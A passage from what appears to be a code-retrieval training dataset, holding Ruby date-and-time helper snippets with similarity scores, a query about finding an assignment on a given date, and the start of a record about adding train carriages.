"def timezone_next_friday(timezone_name)\n tz = TZInfo::Timezone.get(timezone_name)\n today = trim_to_start_of_day(tz.now.to_datetime)\n offset = 5 - today.cwday\n offset += 7 if offset < 0 # role to next week\n return today + offset\n end",
"def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n\n return date + delta\n end",
"def last_week\n Date.week(Date.today - 7)\n end",
"def get_registration_end_week\n registration_end_date.strftime('%W').to_i\n end",
"def end_of_day\n change(\n hour: 23,\n min: 59,\n sec: 59,\n usec: Rational(999999999, 1000)\n )\n end",
"def next_weekday(weekday = 2)\n date = Date.today\n unless date.strftime(\"%w\") == weekday.to_s\n date += 1 + ((weekday -1 -date.wday) % 7)\n end\n date\n end",
"def offset_of_first_weekday_after_weekday(desired_weekday, current_weekday)\n offset = offset_of_first_weekday_at_or_after_weekday(desired_weekday, current_weekday)\n offset == 0 ? 7 : offset\nend",
"def last_reg_date\n reg_close_date || finishes\n end",
"def last_friday_with_readings(supply = nil)\n readings_with_selected_meters(supply, nil).where(\"extract(dow from reading_date) = ?\", 5).maximum(:reading_date)\n end",
"def work_day_ends_at(options={})\n be_precise = options[:precise]\n\n if(be_precise)\n hours_worked, interval_ended_at = total_hours_worked({estimate: true, estimate_ended_at: true})\n hours_delta = WorkInterval.round_by((8 - hours_worked).hours)\n\n (interval_ended_at + hours_delta.hours)\n \n else\n rounded_work_day_ends_at(options)\n end\n end",
"def offset_of_first_weekday_at_or_after_weekday(desired_weekday, current_weekday)\n (desired_weekday - current_weekday + 7) % 7\nend",
"def get_next_date_for_next_weekday(week_day)\n DateTime.now + days_to_add(week_day)\nend",
"def getEndOfMonthDay\n Date.civil(@month1.strftime('%Y').to_i, @month1.strftime('%m').to_i, -1).day.to_i\n end",
"def to_end_of_day\n return Time.mktime(year, month, day, 23, 59, 59, 999)\n end",
"def end_date\n\t\tself.next.start_date - 1\n\tend",
"def date_of_last_week\n current = Time.current\n current -= 1.week\n current.strftime('%Y-%V')\n end",
"def get_end_date\n end_date\n end",
"def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n date + delta\n Chronic.parse(\"0 next #{day}\").to_datetime\n end",
"def last_payment_due_on\n entry = workshop_price.specific_payment_schedule(initial_payments_should_start_on, Date.today)\n entry ? entry[:due_on] : initial_payments_should_start_on.to_date\n end",
"def current_period_end_date\n next_period = current_period_start_date + PERIODICITY\n if (Date.today.month == 1 && start_at.day >= 29) || start_at.day == 31\n # In january, the next month will be February: special rule\n next_period.end_of_month - 1.day\n else\n Date.new(next_period.year, next_period.month, start_at.day) - 1.day\n end\n end",
"def final_due_date\n del = self.deliverables\n return nil unless del.size > 0\n\n dates = del.collect(&:due).delete_if { |d| d.blank?}\n \n return dates.sort[-1] \n end",
"def first_weekday_after_date(desired_weekday, date)\n offset = offset_of_first_weekday_after_weekday(desired_weekday, day_of_week(date))\n date + offset\nend",
"def next_wednesday\n date = self\n while !date.wednesday?\n date = date.next\n end\n date\n end",
"def determine_end_date\n self.end_date = start_date.next_month.yesterday\n end",
"def day_of_week\n\tif @current_time.wday == 0 || @current_time.wday == 6\n\t\tweek_period = \"Weekends\"\n\telse\n\t\tweek_period = \"Weekdays\"\n\tend\nend",
"def end_date\n Date.new(date.year, 12, 31)\n end",
"def end_date\n @end_date ||= Date.new()\n end",
"def ending_period\n start_period = self.period\n length = self.length\n return nil if start_period.nil?\n return start_period if length.nil? or length <= 1\n return start_period.find_following(length).last\n end",
"def end_date\n @end_date ||= respond_to?(:partyMembershipEndDate) ? DateTime.parse(partyMembershipEndDate) : nil\n end",
"def forecast_finish_date(basis_hours)\n if complete_ev(basis_hours) == 100.0\n @ev.keys.max\n elsif today_spi(basis_hours) == 0.0\n @pv.keys.max\n else\n if @issue_max_date < @basis_date\n rest_days = (@pv[@pv.keys.max] - @ev[@ev.keys.max]) / today_spi(basis_hours) / basis_hours\n @basis_date + rest_days\n else\n rest_days = @pv.count { |key, _value| key > @basis_date }\n @pv.keys.max - (rest_days - (rest_days / today_spi(basis_hours)))\n end\n end\n end",
"def next_day\r\n if @next_day.nil?\r\n @next_day = convert_day_to_date(current_day).tomorrow.strftime('%Y%m%d')\r\n end\r\n @next_day\r\n end",
"def end_date\n return (start and duration_days and duration_hours) ? (start + duration_days.days + duration_hours.hours) : nil\n end",
"def local_seconds_until_end_of_day\n local_end_of_day.to_f - to_f\n end",
"def each_weekends_including_friday\n each_days_of_week(*([self.Fri] + self.WEEKENDS))\n end",
"def next_weekday(direction, abbreviated_weekday)\n count = direction.downcase == 'n' ? 1 : -1\n\n weekday = WEEKDAYS[abbreviated_weekday.downcase]\n raise \"No valid weekday: #{abbreviated_weekday}\" if weekday.nil?\n\n offset = @now.send(\"#{weekday[1]}?\") ? count * 7 : 0\n @now + (weekday[0] - @now.wday + 7) % (count * 7) + offset\n end",
"def last_week( remaining_days )\n pad = DPW - remaining_days.length\n\t\tremaining_days + Array.new( pad )\n end",
"def day_of_week\n # Zellers: 0 = Saturday, 1 = Sunday, 2 = Monday, ..., 6 = Friday\n # day_of_week: 1 = Sunday, 7 = Saturday\n (zellers_congruence + 6) % 7\n end",
"def end_of_day\n change(:hour => 23, :min => 59, :sec => 59, :usec => 999999.999)\n end",
"def last_date\n events.order(:date).last.date.to_date rescue nil\n end",
"def to_weekday_if_boxing_weekend(date)\n if date.wday == 6 || date.wday == 0\n date += 2\n elsif date.wday == 1\n date += 1\n end\n\n date\n end",
"def last_weekday_of(year = Time.now.year, month = Time.now.month,\n weekday = 0)\n\n # Get the last day of month\n last_day = DateTime.new year, month, -1\n last_weekday = last_day.wday\n\n day_offset = if last_weekday >= weekday\n last_weekday - weekday\n else\n 7 + last_weekday - weekday\n end\n\n last_day - weekday_offset(weekday, last_weekday)\n end",
"def end_of_week(year, month, week)\n date_calc.end_of_week(year, month, week)\n end",
"def find_next_non_specific(date)\n values = ['first', 'second', 'third', 'fourth']\n\n case @schedule.days_month\n when 'last'\n d = Date.new(date.year, date.month, -1)\n\n return d if @schedule.days_month_day == nil\n\n d -= ((d.wday - @schedule.days_month_day) % 7)\n\n if d < date\n d = d.at_beginning_of_month\n\n months_since_startdate = (d.year * 12 + d.month) - (@schedule.start_date.year * 12 + @schedule.start_date.month)\n \n months_to_add = @schedule.period_num\n if (months_since_startdate % @schedule.period_num) > 0\n months_to_add = @schedule.period_num - (months_since_startdate % @schedule.period_num)\n end\n\n d += months_to_add.months\n return find_next_non_specific(d)\n end\n\n return d\n else\n if @schedule.days_month_day == nil\n if values.index(@schedule.days_month) + 1 < date.day\n months_to_add = @schedule.period_num\n months_since_startdate = (date.year * 12 + date.month) - (@schedule.start_date.year * 12 + @schedule.start_date.month)\n if (months_since_startdate % @schedule.period_num) > 0\n months_to_add = @schedule.period_num - (months_since_startdate % @schedule.period_num)\n end\n date += months_to_add.months\n end\n \n return Date.new(date.year, date.month, values.index(@schedule.days_month)+1) if @schedule.days_month_day == nil\n end\n \n d = Date.new(date.year, date.month, 1)\n d += (@schedule.days_month_day - d.wday) % 7\n d += (7 * values.index(@schedule.days_month))\n\n if d < date\n d = d.at_beginning_of_month\n\n months_since_startdate = (d.year * 12 + d.month) - (@schedule.start_date.year * 12 + @schedule.start_date.month)\n \n months_to_add = @schedule.period_num\n if (months_since_startdate % @schedule.period_num) > 0\n months_to_add = @schedule.period_num - (months_since_startdate % @schedule.period_num)\n end\n\n d += months_to_add.months\n\n d = Date.new(d.year, d.month, 1)\n d += (@schedule.days_month_day - d.wday) % 7\n d += (7 * values.index(@schedule.days_month))\n end\n\n return d\n end\n end",
"def last_week\n (Time.zone.today - 7.days).strftime('%d-%b-%Y')\n end",
"def time_or_end_of_day(date_time)\n wt = to_work_time(date_time)\n work_day = get_work_day(date_time)\n if wt > work_day.end_time\n return end_of_day(date_time)\n elsif wt < work_day.start_time\n return start_of_day(date_time)\n else\n return date_time\n end\n end",
"def delivery_day\n \tnum_to_day((day_to_num(self.order_day) + delivery_duration) % 7)\n end",
"def days_past_in_week\n to_date.cwday\n end"
] |
[
"0.6665773",
"0.6571757",
"0.65549624",
"0.6552313",
"0.6514463",
"0.64600205",
"0.6371434",
"0.62932974",
"0.62706345",
"0.62115264",
"0.6155144",
"0.61234325",
"0.6094296",
"0.6092528",
"0.60734457",
"0.606774",
"0.60433465",
"0.6012819",
"0.5994655",
"0.5993787",
"0.5955024",
"0.59374577",
"0.5919274",
"0.5919274",
"0.5913464",
"0.5855923",
"0.5854864",
"0.5820516",
"0.57692254",
"0.57680696",
"0.5759801",
"0.5759136",
"0.5757906",
"0.5757805",
"0.57055324",
"0.56837744",
"0.5682441",
"0.5665945",
"0.56536186",
"0.56422186",
"0.5618538",
"0.56110144",
"0.55816764",
"0.5573683",
"0.5545971",
"0.5545971",
"0.55392784",
"0.5536367",
"0.5528216",
"0.5526298",
"0.55212885",
"0.55146134",
"0.55003065",
"0.5494102",
"0.5483867",
"0.54673624",
"0.54641956",
"0.5459494",
"0.54579943",
"0.54573506",
"0.54445976",
"0.5429987",
"0.54153764",
"0.54118544",
"0.54062086",
"0.5405803",
"0.54018915",
"0.53937995",
"0.5383342",
"0.5365172",
"0.5353387",
"0.5353244",
"0.53501916",
"0.53467035",
"0.53354275",
"0.53353703",
"0.53282744",
"0.53194207",
"0.531662",
"0.5302594",
"0.53018045",
"0.52904916",
"0.52845013",
"0.52756196",
"0.52629024",
"0.52608037",
"0.5259156",
"0.5254563",
"0.52542746",
"0.5246844",
"0.52454436",
"0.5225869",
"0.52225465",
"0.52202857",
"0.5217807",
"0.51973194",
"0.51920986",
"0.5191334",
"0.5191105",
"0.5188897",
"0.51865554"
] |
0.0
|
-1
|
returns the assignment which takes place on a particular date
|
def on(date)
between(date, date).first
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def current_assignment\n assignments.all.map{|a| a unless a.end_date != nil}.compact.first \n end",
"def current_assignment\n self.assignments.where(:end_date => nil).first \nend",
"def open_on_date(date)\r\n todays_assignments = Assignment.find_all_by_truck_id_and_date(self, date)\r\n num_requests = 0\r\n todays_assignments.each do |a|\r\n num_requests += a.requests.count\r\n end\r\n self.capacity.to_i - num_requests\r\n end",
"def assigned_date_time\n return @assigned_date_time\n end",
"def current_assignments(user)\n team = user.teams.where(\"school_id = ? and coreteam = ?\",user.school,true).first\n if team\n assignments = self.assignments.includes([:duedates]).where( \"duedates.duedate > ? and team_id = ?\", Time.now.in_time_zone,team).order(\"duedates.duedate ASC\")\n end\n end",
"def allocation(date=Date.today)\n resource_assignments.in_date_range(date,date).to_a.sum(&:percentage_allocation)\n end",
"def date(date_name)\r\n case date_name\r\n when :start\r\n return self.accommodation_histories.last.from\r\n when :end\r\n return self.accommodation_histories.last.to\r\n else\r\n return 0\r\n end\r\n end",
"def date\n competition.start_date\n end",
"def calendar\n\t\t@course = Course.find(params[:id])\n\t\t@date = params[:month] ? Date.parse(params[:month]) : Date.today\n\t\t@assignments = @course.assignments.where(\"due_date\")\n\tend",
"def current_assignments\n @assignments = current_user.current_studio_assignments\n @costumes = @assignments.find_costumes\n @season = @assignments.first.dance_season unless @assignments.empty?\n end",
"def assignment\n assignment_id.get_object\n end",
"def for(date)\n where(actual_date: date)\n end",
"def committee_date\n @problem.make(Timetable::CommitteeDate.asp(:weekday_id => \"WD\", :timeframe_id => \"TF\")) {\n conjunct{[\n Timeframe.asp(:global_id => \"TF\"),\n Weekday.asp(:global_id => \"WD\"),\n no {Timetable::Entry.asp( :timeframe_id => \"TF\", :weekday_id => \"WD\")},\n no {Teacher::Unavailability.asp(:timeframe_id => \"TF\", :weekday_id => \"WD\")}\n ]}\n }\n @problem.never { no { Timetable::CommitteeDate.asp() }}\n end",
"def all_assignments(user)\n team = user.teams.where(\"school_id = ? and coreteam = ?\",user.school,true).first\n if team\n assignments = self.assignments.includes([:duedates]).where( \"team_id = ?\",team).order(\"duedates.duedate ASC\")\n end\n end",
"def due_date\n students = self.accessible_students \n return nil if students.length == 0\n\n date = students.first.due_date\n students.find_each do |student|\n if student.due_date \n if !date || student.due_date > date\n date = student.due_date\n end\n end\n end\n\n date\n end",
"def show\n @assignment = Assignment.find(params[:id])\n if params[:start_date].nil?\n @date = Time.now\n else\n @date = Date.parse(params[:start_date])\n end \n @date = @date - (@date.wday==0 ? 6 : @date.wday-1).days\n @start_date = Date.new(@date.year, @date.month, @date.day)\n @events = Shift.joins{:assignment}.where('assignment_id = ?',@assignment.id).where('date between ? and ?', @start_date, @start_date+7).chronological.to_a \n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end",
"def live_assignments\n project_assignments.future_project_assignments(Date.current)\n end",
"def reassigned_date_time\n return @reassigned_date_time\n end",
"def earliest_eligible_date\n benefit_group_assignment = renewal_benefit_group_assignment || active_benefit_group_assignment\n if benefit_group_assignment\n benefit_group_assignment.benefit_group.eligible_on(hired_on)\n end\n end",
"def current_team_assignments(team_id)\n assignments = self.assignments.includes([:duedates]).where(\"duedates.duedate > ? and team_id = ?\",Time.now.in_time_zone, team_id).order(\"duedates.duedate ASC\") \n end",
"def assignment\n return @assignment\n end",
"def day_info(date)\n {\n date: date,\n current_period: @user.critical_periods.has_date(date).first,\n close_periods: @user.critical_periods.near_by_date(date).all.to_a,\n }\n end",
"def assignment\n self.grouping.assignment\n end",
"def earliest_eligible_date\n benefit_group_assignment = renewal_benefit_group_assignment || active_benefit_group_assignment\n if benefit_group_assignment\n benefit_group_assignment.benefit_group.eligible_on(hired_on)\n end\n end",
"def date() self[:date]; end",
"def approval_date\n return nil unless %w[published embargoed].include?(pub_state)\n\n found_approval_date = nil\n resources.reverse_each do |res|\n res.curation_activities.each do |ca|\n next unless %w[published embargoed].include?(ca.status)\n\n found_approval_date = ca.created_at\n break\n end\n end\n found_approval_date\n end",
"def temporarly_assignment_date\n\t\terrors.add(:date_returned, \" can't be blank on Temporarly Assignment\") if assignment_type == \"Temporary\" && date_returned.blank?\n\tend",
"def assignment_due(type, time, round, review_allowed_id = 3)\n create(:assignment_due_date,\n deadline_type: DeadlineType.where(name: type).first,\n due_at: time,\n round: round,\n review_allowed_id: review_allowed_id)\n end",
"def exercise_on_a_day(date)\n #iterate through workouts and find workouts.user_id == self\n my_workouts = Workout.all.select do |workout|\n workout[\"user_id\"] == self[\"id\"]\n end\n # find where date == workout date\n workouts_for_date = my_workouts.find_all do |workouts|\n workouts[\"date\"] == date\n end.map {|workout_instance| workout_instance.exercise_id}\n \n exercise_array = []\n exercise_list = workouts_for_date.each do |exercise_id|\n Exercise.all.each do |exercise_instances|\n exercise_array << exercise_instances.name if (exercise_instances.id == exercise_id)\n end\n end\n \n if exercise_array == []\n return \"Sorry. Doesn't look like you worked out on #{date}.\".colorize(:light_cyan)\n else\n return exercise_array\n end\n end",
"def get_issue(date)\r\n cover_page = @agent.get \"http://www.economist.com/printedition/\"+date\r\n get_issue_from_cover_page(cover_page)\r\n end",
"def assignment_solution(ass_id)\n self.final_completed_assignments.select{ |a| a.assignment_id == ass_id }.first\n end",
"def specific_payment_schedule(from_date, on_date = Date.today)\n payment_schedule(from_date).reverse.detect { |item| item[:due_on] <= on_date }\n end",
"def present_study?(date = Time.now)\n study.id == 1 || (study.id == 2 && study_form_changed_on && study_form_changed_on > date.to_date)\n end",
"def index\n redirect_to assignment_path(@assignment) unless current_user.teacher? || @assignment.past_due?\n if current_user.student?\n @group = @assignment.user_assignments.find_by(user_id: current_user).group\n end\n @essays = @assignment.essays\n end",
"def current\n joins(:roster).on(effective_date)\n end",
"def edit\n @assignment = Assignment.find_by_id(params[:id])\n @past_date = @assignment.section_names_past_due_date\n @assignments = Assignment.all\n @sections = Section.all\n\n unless @past_date.nil? || @past_date.empty?\n flash_now(:notice, t('past_due_date_notice') + @past_date.join(', '))\n end\n\n # build section_due_dates for each section that doesn't already have a due date\n Section.all.each do |s|\n unless SectionDueDate.find_by_assignment_id_and_section_id(@assignment.id, s.id)\n @assignment.section_due_dates.build(section: s)\n end\n end\n @section_due_dates = @assignment.section_due_dates\n .sort_by { |s| [SectionDueDate.due_date_for(s.section, @assignment), s.section.name] }\n end",
"def activity(date)\n main_ledger_account.activity(date)\n end",
"def billable_allocation(date=Date.today)\n resource_assignments.in_date_range(date,date).to_a.sum(&:billable_allocation)\n end",
"def create\n params[:assignment].delete(:employee)\n @assignment = Assignment.new(params[:assignment])\n @assignment.start_date = Chronic.parse(params[:assignment][:start_date])\n @assignment.end_date = Chronic.parse(params[:assignment][:end_date])\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_assignment\n return TestCase.find(params[:id]).assignment\n end",
"def choose_date\n @event = @project.events.find_by_param(params[:event_id])\n if @event\n @subject_event = @subject.subject_events.where(event_id: @event.id).new\n else\n redirect_to [@project, @subject], alert: \"Event #{params[:event_id]} not found on project.\"\n end\n end",
"def sorted_assignments\n\t\treturn self.assignments.order(\"due_date\")\n\tend",
"def apply_date_params\n if (params[\"date\"] && (params[\"date\"][\"month\"] && params[\"date\"][\"year\"]))\n month = params[\"date\"][\"month\"]\n year = params[\"date\"][\"year\"]\n params[:exam_paper][:date_issued] = \"#{year}-#{month}\"\n end\n end",
"def retrieve_assignment(experiment, subject)\n subject_identifier = experiment.retrieve_subject_identifier(subject)\n if value = get(experiment.handle.to_s, \"assignment_#{subject_identifier}\")\n hash = JSON.parse(value)\n experiment.subject_assignment(\n subject,\n experiment.group(hash['group']),\n Time.xmlschema(hash['created_at'])\n )\n end\n end",
"def perform_date_param(date, relation = self)\n date = date.to_date\n if date <= Date.today\n start_from = DateTime.now + MIN_TIME_BEFORE_MATCH_START\n else\n start_from = date.beginning_of_day\n end\n relation = relation.where(start_at: start_from..date.end_of_day)\n relation\n end",
"def intiation_date\n self.initiation\n end",
"def show\n redirect_to assignment_path(@assignment), alert: 'You cannot view essays until the due date has passed!' unless current_user.teacher? || @assignment.past_due? || @essay.user_assignment.user == current_user\n end",
"def acquired_on\n @object.most_recent_acquired_by_date.try(:strftime, '%-m/%-d/%Y')\n end",
"def find_patient_date_enrolled(patient)\n order = Order.joins(:encounter, :drug_order)\\\n .where(encounter: { patient: patient },\n drug_order: { drug: Drug.arv_drugs })\\\n .order(:start_date)\\\n .first\n\n order&.start_date&.to_date\n end",
"def get_resolved(date)\n y = self.resolved ? \"Yes\" : \"No\"\n (date && self.resolved) ? \"#{y} (#{date})\" : \"#{y}\"\n end",
"def assigned_date_time=(value)\n @assigned_date_time = value\n end",
"def dateselection\nend",
"def end_previous_assignment\n if self.employee.current_assignment != nil then \n current = self.employee.current_assignment\n current.end_date = self.start_date\n current.save!\n end\n end",
"def assign \n\n # Start by getting all uncommitted timesheets.\n\n @timesheets = Timesheet.where( :committed => false ).order( 'start_day_cache ASC' )\n\n # Further restrict this to timesheets ending before the start of\n # the current month. If the current week falls into the previous\n # month - i.e. the current week starts sooner than the month -\n # then go back one month from there. The idea is to be able to\n # \"close off\" a historical month, without accidentally commiting\n # timesheets in \"this\" month (or close to it) that a user may be\n # legitimately editing.\n #\n # Under Rails, subtracting \"1.month\" from a Date does do the right\n # thing - it doesn't just subtract a fixed number of days. Whatever\n # month it is now, we end up with the start of the previous month.\n\n earliest = Date.today.beginning_of_month\n compare = Date.today.beginning_of_week\n\n @earliest = ( compare < earliest ) ? earliest - 1.month : earliest\n\n # Remember, we want the timesheet's *last day* to fall *before*\n # the start-of-month date now stored in \"earliest\". Or to put it\n # another way, any timesheet that starts at or earlier than 7\n # days prior to \"earliest\" must finish just before \"earliest\".\n\n @timesheets = @timesheets.where( 'start_day_cache <= ?', @earliest - 7.days )\n\n unless ( @timesheets.count.zero? )\n @object = TimesheetForceCommit.new()\n @object.earliest_limit = @timesheets.first.start_day_cache\n @object.latest_limit = @timesheets.last.start_day_cache + 6.days\n end\n end",
"def recordAttendance\n @provider = Provider.find(params[:provider_id])\n @children = @provider.children.order('lName')\n @date = params[:date] \n @date = Date.parse(\"#{params[:date]['day']}-#{params[:date]['month']}-#{params[:date]['year']}\") if params[:date]\n @date ||= Date.current\nend",
"def meeting_date\n scan_for_meeting_date\n end",
"def find_patient_date_enrolled(patient)\n order = Order.joins(:encounter, :drug_order)\\\n .where(encounter: { patient: patient },\n drug_order: { drug: Drug.arv_drugs })\\\n .order(:start_date)\\\n .first\n\n order&.start_date&.to_date\n end",
"def update\n params[:shift].delete(:employee)\n @assignment = Assignment.find(params[:id])\n @assignment.attributes = params[:assignment]\n @assignment.start_date = Chronic.parse(params[:assignment][:start_date])\n @assignment.end_date = Chronic.parse(params[:assignment][:end_date])\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def assignments\n self.course.assignments if self.course\n end",
"def assigned_employee\n\t\tassignments.where(:is_active => true).first.employee \n\tend",
"def date \n params['date']\n end",
"def screener_complete_date_for_unended_project\n\t\toe = self.operational_events.screener_complete.unended_project.limit(1).first\n\t\t#\tseparated to try to make 100% coverage (20120411)\n\t\toe.try(:occurred_on)\n\tend",
"def get_inspection_date\n date.strftime(\"%B %d, %Y, %I:%M %p\")\n end",
"def test_date_a_variable_matches_index\n skip\n engine = Engine.new\n assert_equal [6, 2, 2, 5], engine.date_assignment\n end",
"def attestation_subjects\n beg_sem = semester - 3\n end_sem = semester - 1\n return @attestation_subjects ||= plan_subjects.select do |ps|\n (beg_sem..end_sem).include? ps.finishing_on\n end\n end",
"def index\n @assignments = (current_user.role? \"director\") ? Assignment.all.order(due_at: :desc) : current_user.assignments.order(due_at: :desc)\n end",
"def index\n @assignments = $current_community.assignments.where(:close_date => nil).joins(:assignment_status) \n authorize Assignment\n end",
"def assignments; end",
"def date\n @date\n end",
"def date\n @date\n end",
"def edit\n @early_assignment = EarlyAllocation.where(offender_id_from_url).last\n end",
"def reservations_by_date(date)\n total_by_date = @reservations.select do |reservation|\n reservation.daterange.start_date == date\n end\n return total_by_date\n end",
"def date; end",
"def date; end",
"def date; end",
"def date; end",
"def actual_transfer_out_date\n record = PatientState\n .joins(\n 'LEFT JOIN (patient_program) on (patient_state.patient_program_id = patient_program.patient_program_id)'\n )\n .where(patient_program: { patient_id: patient.patient_id,\n program_id: Program.find_by_name!('HIV Program').program_id })\n .where(\"patient_state.state=2 AND patient_state.start_date <= DATE('#{date.to_date}')\")\n .order(start_date: :desc)\n record.blank? ? date : record.first.start_date.to_date\n end",
"def start_access_on_date\n @attributes[:start_access_on_date]\n end",
"def date\n @date\n end",
"def date\n @date\n end",
"def perform_date_param(date, relation = self)\n begin\n date = date.to_date\n rescue => e\n date = Date.today\n end\n relation = relation.where(created_at: date.beginning_of_day..date.end_of_day)\n relation\n end",
"def planned(s_date, e_date)\n\t\tplans = self.plans.order(:planned_at)\n\t\t\t.where(\"planned_at >= ?\", s_date)\n\t\t\t.where(\"planned_at < ?\", e_date)\n\n\t\treturn plans.group_by(&:planned_at)\n\tend",
"def assignments\n Assignment.where(:course_id => id)\n end",
"def index\n @work_shifts = WorkShift.all\n @work_shifts_by_date = @work_shifts.group_by{ |work_shift| work_shift.start_of_shift.to_date}\n @date = params[:date] ? Date.parse(params[:date]) : Date.today\n end",
"def past_participle; end",
"def due_date_task_list\n @due_date_task_list\n end",
"def index\n @activities = @user.activities.where(\"date = ?\", requested_date(params[:date]))\n end",
"def reservations_by_date(date)\n date = Date.parse(date)\n list_res = []\n @reservations.each do |reservation|\n if reservation.check_in_date <= date && reservation.check_out_date >= date\n list_res << reservation\n end\n end\n return list_res\n end",
"def got_enrolled_on\n\n begin\n # Get full month name, non-zero-padded date, and full year\n formatted_date = Date.strptime(enrollment_date, \"%m-%d-%Y\").strftime(\"%B %-d %Y\")\n enrollment_string = name + \" - \" + formatted_date\n rescue ArgumentError\n enrollment_string = \"Invalid Date\"\n end\n\n return enrollment_string\n\n end",
"def days_assigned\r\n days_assigned = []\r\n self.groups.each {|g| days_assigned.push(g.day)}\r\n return days_assigned\r\n end",
"def show\n @date = params[:date] ? Date.parse(params[:date]) : Date.today\n @date_specific = params['date-specific']\n end",
"def list_not_completed_this_month_date_only\n @due_this_month = not_complete_by_date.select {|x| x.due_date.month == Date.today.month}\n @anniversary_this_month = @anniversary_list.select {|x| x.month == Date.today.month}\n @anniversary_this_month = @anniversary_this_month.sort_by {|x| x.day}\n return @due_this_month + @anniversary_this_month\n end",
"def all_team_assignments(team_id)\n assignments = self.assignments.includes([:duedates]).where(\"team_id = ?\", team_id).order(\"duedates.duedate ASC\") \n end",
"def prepare_myabsence\n unless params[:date].blank? || params[:date] == \"undefined\"\n @date = Date.parse(params[:date])\n else\n @date = Date.today\n end\n yesterday_presence = @current_person.presences.find_by_presence_date(@date.yesterday)\n my_last_presence = @current_person.presences.find(:first, :order => \"presence_date DESC\")\n if my_last_presence\n @my_last_presence_date = my_last_presence.presence_date\n else\n @my_last_presence_date = Date.yesterday\n end\n @my_presence = @current_person.presences.find_by_presence_date(@date)\n @yesterday_schedule = @current_person.current_schedule(Date.yesterday).blank? ? Date.yesterday.to_time : @current_person.current_schedule(Date.yesterday)[:schedule_end]\n if @my_presence\n @my_presence_details = @my_presence.presence_details(:order => :start_working)\n end\n end",
"def show\n @subject = Subject.find(params[:id])\n @view_all = params[:view_all]\n @assignments = @subject.assignments.all\n @new_assign = @subject.assignments.build\n @subject_id = @subject.id\n @adate = @subject.get_next_assignment_date\n\n respond_with(@assignments, @new_assign, @subject_id, @adate)\n end",
"def view\n @subject = Subject.find(params[:id])\n @assignments = @subject.assignments.limit(10).reverse_order\n @new_assign = @subject.assignments.build\n @subject_id = @subject.id\n @adate = @subject.get_next_assignment_date\n\n respond_with(@assignments, @new_assign, @subject_id, @adate)\n end",
"def upcomming_courses(date)\n raise \"Esta es una excepción\" if date >= Date.parse('2019-01-01')\n @start_date > date ? \"El curso #{@name} empieza próximamente.\" : \"El curso #{@name} ya empezó.\"\n end",
"def assignments_completed\n self.final_completed_assignments.map { |a| a.assignment }.reject { |a| a.nil? }\n end",
"def assignment_params\n params.require(:assignment).permit(:inspector_id, :inspection_id, :scheduled_for)\n end",
"def article_schedule(date_cond)\n # current_user's schedules\n schedule_ids = schedule_ids_during(date_cond, @current_user)\n \n unless @other_user.blank?\n other_schedule_ids = schedule_ids_during(date_cond, @other_user)\n schedule_ids = (schedule_ids.to_set & other_schedule_ids.to_set).to_a\n end\n# return [] if schedule_ids.blank?\n schedule_ids.blank? and return [] \n \n Article.find schedule_ids,\n :select => Article_Schedule_Item,\n :scope => \":self >> thread:ArticleThread\",\n :conditions=> forum_cond,\n :group => \"articles.id\"\n end"
] |
[
"0.7113615",
"0.68184674",
"0.63658714",
"0.6326499",
"0.63047814",
"0.619628",
"0.6114636",
"0.61016524",
"0.6052961",
"0.6004059",
"0.5888222",
"0.5883967",
"0.5828371",
"0.5811822",
"0.57681596",
"0.5757377",
"0.57497746",
"0.56770533",
"0.56723183",
"0.56084013",
"0.5562489",
"0.5562347",
"0.5535813",
"0.54976624",
"0.5497357",
"0.54908586",
"0.5488477",
"0.5478665",
"0.543228",
"0.5428414",
"0.54218584",
"0.54210246",
"0.54165924",
"0.5412053",
"0.54081374",
"0.540745",
"0.53696346",
"0.53535914",
"0.5353479",
"0.5345752",
"0.5337163",
"0.5326887",
"0.53175557",
"0.53165936",
"0.5307115",
"0.5306837",
"0.52958363",
"0.5291199",
"0.52905965",
"0.5286882",
"0.5275479",
"0.5260309",
"0.52582586",
"0.52547175",
"0.5253179",
"0.5250042",
"0.5234173",
"0.52337813",
"0.52316546",
"0.5228147",
"0.5225871",
"0.52243215",
"0.5211053",
"0.5210757",
"0.5200447",
"0.52004033",
"0.5198308",
"0.51973087",
"0.5186012",
"0.5186012",
"0.51842165",
"0.5183079",
"0.5181751",
"0.5181751",
"0.5181751",
"0.5181751",
"0.51803565",
"0.5176261",
"0.51698565",
"0.51698565",
"0.51639736",
"0.5155501",
"0.5148493",
"0.514371",
"0.51321036",
"0.5128178",
"0.51268166",
"0.51196337",
"0.5116191",
"0.51031923",
"0.51012504",
"0.5094346",
"0.5091493",
"0.50907665",
"0.5090485",
"0.5087009",
"0.50839376",
"0.5083613",
"0.50817525",
"0.50786436"
] |
0.5442663
|
28
|
Adding && deleting carriages
|
def add_carriage(carriage)
puts 'Cначала остановите поезд!' if @speed != 0
if carriage.type != @type
puts 'Тип поезда и вагона не совпадают'
else
@carriages.push(carriage)
puts "К поезду #{num} был добавлен вагон,
в составе #{carriages.size} вагонов"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def manage_cars_remove_car_check\n @ui.manage_cars_remove_car_input_msg\n car_to_del_id = gets.chomp\n raise 'Unexisting car' unless cars.find { |car| car.id == car_to_del_id }\n car_del = cars.find { |car| car.car_id == car_to_del_id }\n @cars.delete(car_del)\n @cars_free.delete(car_del)\n @ui.manage_cars_remove_car_success_msg\n end",
"def test_adding_and_removing\n c = Cart.create\n assert_difference(c.cart_items, :size, 3) do\n [1, 3, 4].each do |i|\n assert c.add(i)\n end\n end\n \n assert_equal Book.find([1,3,4]), c.books\n \n [1, 3, 4].each do |i|\n assert c.remove(i)\n end\n assert_equal [], c.reload.cart_items\n end",
"def delete\n \n end",
"def delete_operations; end",
